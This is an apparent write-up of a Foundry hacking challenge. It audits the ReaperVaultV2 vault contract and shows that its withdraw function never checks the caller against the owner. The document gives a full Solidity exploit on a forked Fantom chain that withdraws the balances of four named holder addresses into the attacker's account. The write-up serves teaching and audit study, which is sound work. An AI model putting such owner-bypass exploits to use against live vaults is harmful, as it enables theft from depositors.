reaper

Setup

Install Foundry:

curl -L https://foundry.paradigm.xyz | bash

foundryup

Git clone the reaper repo:

git clone git@github.com:ret2basic/reaper.git

Install dependencies, compile and run the test:

cd reaper

forge install

Compile and run the test:

forge test

This test will show 1 failed since we have not solved the challenge yet. Once we code up our solution in reaper/test/ReaperHack.t.sol, we can run forge test to check the solution.

Code Audit

Overview

Open reaper/src/ReaperVaultV2.sol in Visual Studio. The contract inheritance tells us many things:

contract ReaperVaultV2 is IERC4626, ERC20, ReentrancyGuard, AccessControlEnumerable {...}
  1. This contract inherits ERC4626 - Tokenized Vaults

  2. This contract inherits ERC20 - Fungible Tokens

  3. This contract is unlikely to be vulnerable to reentrancy attack

Digress: ERC-4626 Rounding Issue

Here we digress a bit from the reaper contract. Regarding ERC-4626, we should know the following things:

  • What is vault

  • Why ERC-4626

  • ERC-4626 Rounding Issue

Vault and ERC-4626

A vault is a multi-sig solution or smart contract that can store and manage assets such as crypto. Each vault always has the tokens it generates as a form of returns. These generated tokens can later be exchanged for tokens that were originally locked in vaults.

The problem developers face concerning yield-bearing tokens is integrating tokens of different protocols. Before ERC-4626, developers have to research a bunch of protocols and figure out how to stitch them together. This can be a pain in the ass and it is also error-prone.

The main benefit of ERC-4626 is that it standardizes tokenized vaults to make protocol integration easier and less prone to error. Since there is a common standard that you can integrate, there is no actual need to build separate adapters any longer. In a nutshell, it quickens development; composability at its peak.

ERC-4626 Rounding Issue

The ERC-4626 rounding issue often appears in Code4rena reports, for example:

deposit() and withdraw() Functions

For ERC20-like contracts, the deposit() and withdraw() functions are likely to be vulnerable since they are directly associated with transactions, hence directly associated with user's money.

deposit()

function deposit(uint256 assets, address receiver) public nonReentrant returns (uint256 shares) {
	require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
	require(assets != 0, "please provide amount");
	uint256 _pool = totalAssets();
	require(_pool + assets <= tvlCap, "vault is full!");
	shares = previewDeposit(assets);

	IERC20Metadata(asset).safeTransferFrom(msg.sender, address(this), assets);
	
	_mint(receiver, shares);
	emit Deposit(msg.sender, receiver, assets, shares);
}

This function is simple enough:

  1. It checks if the contract is in "emergency shutdown" state

  2. It checks if the assets argument is 0

  3. It checks if the pool is reaching its capacity

  4. It collects token from the user and mints corresponding shares back to the user

The implementation seems correct.

withdraw()

function withdraw(uint256 assets, address receiver, address owner) external nonReentrant returns (uint256 shares) { // @audit-issue withdraw
	require(assets != 0, "please provide amount");
	shares = previewWithdraw(assets);
	_withdraw(assets, shares, receiver, owner);
	return shares;
}

This function is a wrapper of _withdraw(). We should audit that function instead.

_withdraw()

function _withdraw(uint256 assets, uint256 shares, address receiver, address owner) internal returns (uint256) { // @audit _withdraw
	_burn(owner, shares);

	if (assets > IERC20Metadata(asset).balanceOf(address(this))) {
		uint256 totalLoss = 0;
		uint256 queueLength = withdrawalQueue.length;
		uint256 vaultBalance = 0;
		
		for (uint256 i = 0; i < queueLength; i = _uncheckedInc(i)) {
			vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
			if (assets <= vaultBalance) {
				break;
			}

			address stratAddr = withdrawalQueue[i];
			uint256 strategyBal = strategies[stratAddr].allocated;
			if (strategyBal == 0) {
				continue;
			}

			uint256 remaining = assets - vaultBalance;
			uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
			uint256 actualWithdrawn = IERC20Metadata(asset).balanceOf(address(this)) - vaultBalance;

			// Withdrawer incurs any losses from withdrawing as reported by strat
			if (loss != 0) {
				assets -= loss;
				totalLoss += loss;
				_reportLoss(stratAddr, loss);
			}

			strategies[stratAddr].allocated -= actualWithdrawn;
			totalAllocated -= actualWithdrawn;
		}

		vaultBalance = IERC20Metadata(asset).balanceOf(address(this));
		if (assets > vaultBalance) {
			assets = vaultBalance;
		}

		require(totalLoss <= ((assets + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR, "Cannot exceed the maximum allowed withdraw slippage");
	}

	IERC20Metadata(asset).safeTransfer(receiver, assets);
	emit Withdraw(msg.sender, receiver, owner, assets, shares);
	return assets;
}

The vulnerability is pretty obvious: this function never verifies whether msg.sender is the owner or not. As a result, an attacker can feed his/her own address into this receiver field and specify any account to be the owner. When the withdraw() function is called, all the money in the vicitm account will be transferred to the attacker's account.

Solution

To exploit this vulnerability, we are going to look for some "rich" addresses and steal money from them by calling the withdraw() function.

First, we go to the vault and hunt for some "rich" addresses. Click on "DAI Crypt (rfDAI)":

Grab a few addresses with large "Quantity" field:

Make sure you click into the address and copy the address in "correct" format. The correct address format contains uppercase letters, for example:

Next, we want to figure out how much money they have in these addresses. To do this, we use the reaper.balanceOf() function:

// Enumerate account balance
console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);

Here we divide each balance by 1e18 to convert wei to ether.

Use the following command to compile the contract and see the output of console.log():

forge test -vv

We will satisfy the 400k DAI requirement if we steal all money from these 4 addresses.

Finally, we are going to steal money from these addresses by calling a series of withdraw() functions:

// withdraw(uint256 assets, address receiver, address owner)
reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);

Run forge test to verify our solution:

To summarize, here is the complete solution code snipet:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/ReaperVaultV2.sol";

interface IERC20Like {
    function balanceOf(address _addr) external view returns (uint);
}

contract CounterTest is Test {
    ReaperVaultV2 reaper = ReaperVaultV2(0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A);
    IERC20Like fantomDai = IERC20Like(0x8D11eC38a3EB5E956B052f67Da8Bdc9bef8Abf3E);

    function testReaperHack() public {
        vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000);
        console.log("Your Starting Balance:", fantomDai.balanceOf(address(this)));
        
        // INSERT EXPLOIT HERE

        // Enumerate account balance
        console.log("balance of account 1: ", reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864)/1e18);
        console.log("balance of account 2: ", reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9)/1e18);
        console.log("balance of account 3: ", reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D)/1e18);
        console.log("balance of account 4: ", reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b)/1e18);

        // withdraw(uint256 assets, address receiver, address owner)
        reaper.withdraw(reaper.balanceOf(0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864), address(this), 0xB573f01f2901c0dB3E14Ec80C6E12e4868DEC864);
        reaper.withdraw(reaper.balanceOf(0x954773dD09a0bd708D3C03A62FB0947e8078fCf9), address(this), 0x954773dD09a0bd708D3C03A62FB0947e8078fCf9);
        reaper.withdraw(reaper.balanceOf(0xfc83DA727034a487f031dA33D55b4664ba312f1D), address(this), 0xfc83DA727034a487f031dA33D55b4664ba312f1D);
        reaper.withdraw(reaper.balanceOf(0xEB7a12fE169C98748EB20CE8286EAcCF4876643b), address(this), 0xEB7a12fE169C98748EB20CE8286EAcCF4876643b);

        console.log("Your Final Balance:", fantomDai.balanceOf(address(this)));
        assert(fantomDai.balanceOf(address(this)) > 400_000 ether);
    }
}

Last updated